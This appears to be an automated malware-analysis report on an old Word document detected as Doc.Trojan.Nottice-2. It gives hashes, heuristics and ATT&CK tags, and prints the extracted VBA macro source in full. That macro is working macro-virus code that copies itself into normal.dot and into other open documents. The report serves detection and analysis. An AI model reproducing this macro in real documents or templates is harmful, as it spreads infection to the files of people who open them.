Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d518c735f36f9cb8…

MALICIOUS

Office (OLE)

35.5 KB Created: 1999-09-27 14:40:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ad46cd3360a2bec6dcf5db8900538c6b SHA-1: 3a33f867b74f7c0ba49c31b84b8f955aad8ce782 SHA-256: d518c735f36f9cb8b536fea9bccbdbbcc2898c1b85b2becc6fe1485d1a8f8c8c
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1505.003 Server Software Component: Exploit Public-Facing Application

The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose, which are indicative of malicious intent. The macros attempt to infect the global template and other documents, suggesting a worm-like behavior. The presence of 'HARKONE' and 'normal.dot' as targets for macro copying suggests an attempt to establish persistence or spread.

Heuristics 5

  • ClamAV: Doc.Trojan.Nottice-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nottice-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1803 bytes
SHA-256: 14139d9f41c7fcda839dcd461f3fae890a041f5b1baad74cb2e8ab7a74c74776
Detection
ClamAV: Doc.Trojan.Nottice-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim J$
On Error GoTo -1: On Error GoTo Finish
WordBasic.DisableAutoMacros 0
J$ = LCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If J$ = "normal.dot" Then
    If VI = 1 Then
        GoTo Finish
    Else
        InfectDOC
    End If
Else
    If VI2 = 1 Then
        GoTo Finish
    Else
        InfectGlobal
    End If
End If
Finish: End




WordBasic.Call
End Sub

Private Function VI()
Dim i
VI = 0
If WordBasic.CountMacros(1) > 0 Then
    For i = 1 To WordBasic.CountMacros(1)
                If WordBasic.[MacroName$](i, 1) = "HARKONE" Then
                             VI = 1
        End If
    Next i
End If
End Function

Private Function VI2()
Dim i
VI2 = 0
If WordBasic.CountMacros(0) > 0 Then
    For i = 1 To WordBasic.CountMacros(0)
                If WordBasic.[MacroName$](i, 0) = "HARKONE" Then
                             VI2 = 1
        End If
    Next i
End If
End Function

Private Sub InfectDOC()
WordBasic.FileSaveAs Format:=1
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":AutoOpen"
WordBasic.MacroCopy "Global:HARKONE", WordBasic.[FileName$]() + ":HARKONE"
WordBasic.FileSaveAll 1, 1
End Sub

Private Sub InfectGlobal()
WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "Global:AutoClose"
WordBasic.MacroCopy WordBasic.[FileName$]() + ":HARKONE", "Global:HARKONE"
WordBasic.FileSaveAll 1, 0
End Sub

Attribute VB_Name = "HARKONE"

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